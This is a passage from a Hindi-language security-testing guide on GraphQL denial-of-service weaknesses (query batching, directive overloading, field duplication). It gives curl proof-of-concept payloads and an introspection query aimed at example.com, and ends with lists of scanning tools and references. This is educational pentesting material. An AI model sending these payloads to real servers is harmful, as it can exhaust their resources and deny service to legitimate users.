**एरे-आधारित क्वेरी बैचिंग** एक कमजोरियों में से एक है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग कर सकता है और संभावित रूप से **सेवा से इनकार (DoS)** की स्थिति का कारण बन सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका लाभ उठाकर सेवा की उपलब्धता को कम कर सकता है।
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
```
इस उदाहरण में, 10 विभिन्न क्वेरीज़ को एक अनुरोध में समेकित किया गया है, जिससे सर्वर को सभी को एक साथ निष्पादित करने के लिए मजबूर किया जाता है। यदि बड़े बैच आकार या गणनात्मक रूप से महंगे क्वेरीज़ के साथ इसका शोषण किया जाए, तो यह सर्वर को ओवरलोड कर सकता है।

### **निर्देश ओवरलोडिंग कमजोरियाँ**

**निर्देश ओवरलोडिंग** तब होती है जब एक GraphQL सर्वर अत्यधिक, दोहराए गए निर्देशों के साथ क्वेरीज़ की अनुमति देता है। यह सर्वर के पार्सर और निष्पादक को अभिभूत कर सकता है, विशेष रूप से यदि सर्वर बार-बार समान निर्देश लॉजिक को संसाधित करता है। उचित सत्यापन या सीमाओं के बिना, एक हमलावर इसे कई दोहराए गए निर्देशों के साथ एक क्वेरी तैयार करके शोषण कर सकता है, जिससे उच्च गणनात्मक या मेमोरी उपयोग उत्पन्न होता है, जो **सेवा से इनकार (DoS)** की ओर ले जाता है।
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
```
ध्यान दें कि पिछले उदाहरण में `@aa` एक कस्टम निर्देश है जो **घोषित नहीं किया जा सकता**। एक सामान्य निर्देश जो आमतौर पर मौजूद होता है वह है **`@include`**:
```bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
```
आप सभी घोषित निर्देशों का पता लगाने के लिए एक अंतर्दृष्टि प्रश्न भी भेज सकते हैं:
```bash
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
```
और फिर **कुछ कस्टम** का उपयोग करें।

### **फील्ड डुप्लिकेशन कमजोरियाँ**

**फील्ड डुप्लिकेशन** एक कमजोरियाँ है जहाँ एक GraphQL सर्वर एक ही फील्ड को अत्यधिक दोहराए जाने वाले प्रश्नों की अनुमति देता है। यह सर्वर को हर उदाहरण के लिए फील्ड को दोबारा हल करने के लिए मजबूर करता है, जिससे महत्वपूर्ण संसाधनों (CPU, मेमोरी, और डेटाबेस कॉल) की खपत होती है। एक हमलावर सैकड़ों या हजारों दोहराए गए फील्ड के साथ प्रश्न तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से **Denial of Service (DoS)** की स्थिति उत्पन्न हो सकती है।
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
```
## Tools

### Vulnerability scanners

- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql एंडपॉइंट्स की सामान्य गलत कॉन्फ़िगरेशन का परीक्षण करें
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): बैच GraphQL क्वेरी और म्यूटेशन करने पर ध्यान केंद्रित करने वाला GraphQL सुरक्षा ऑडिटिंग स्क्रिप्ट।
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): उपयोग किए जा रहे graphql की फिंगरप्रिंटिंग करें
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): टूलकिट जिसका उपयोग स्कीमाओं को प्राप्त करने और संवेदनशील डेटा की खोज, प्राधिकरण का परीक्षण, ब्रूट फोर्स स्कीमाओं और एक दिए गए प्रकार के लिए पथ खोजने के लिए किया जा सकता है।
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): इसे स्टैंडअलोन के रूप में या [Burp extension](https://github.com/doyensec/inql) के रूप में उपयोग किया जा सकता है।
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): इसे CLI क्लाइंट के रूप में भी उपयोग किया जा सकता है ताकि हमलों को स्वचालित किया जा सके
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): टूल जो **GraphQL स्कीमा में एक दिए गए प्रकार तक पहुँचने के विभिन्न तरीकों** की सूची बनाता है।
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL के स्टैंडअलोन और CLI मोड का उत्तराधिकारी
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): उन्नत GraphQL परीक्षण के लिए Burp extension। _**Scanner**_ InQL v5.0 का मूल है, जहाँ आप एक GraphQL एंडपॉइंट या एक स्थानीय अंतर्दृष्टि स्कीमा फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित क्वेरी और म्यूटेशन को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में व्यवस्थित करता है। _**Attacker**_ घटक आपको बैच GraphQL हमले चलाने की अनुमति देता है, जो खराब कार्यान्वित दर सीमाओं को दरकिनार करने के लिए उपयोगी हो सकता है।
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): कुछ Graphql डेटाबेस की मदद से स्कीमा प्राप्त करने की कोशिश करें जो म्यूटेशन और पैरामीटर के नाम सुझाएंगे, भले ही अंतर्दृष्टि अक्षम हो।

### Clients

- [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI क्लाइंट
- [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI क्लाइंट

### Automatic Tests

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

- AutoGraphQL को समझाने वाला वीडियो: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)

## References

- [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
- [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
- [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)


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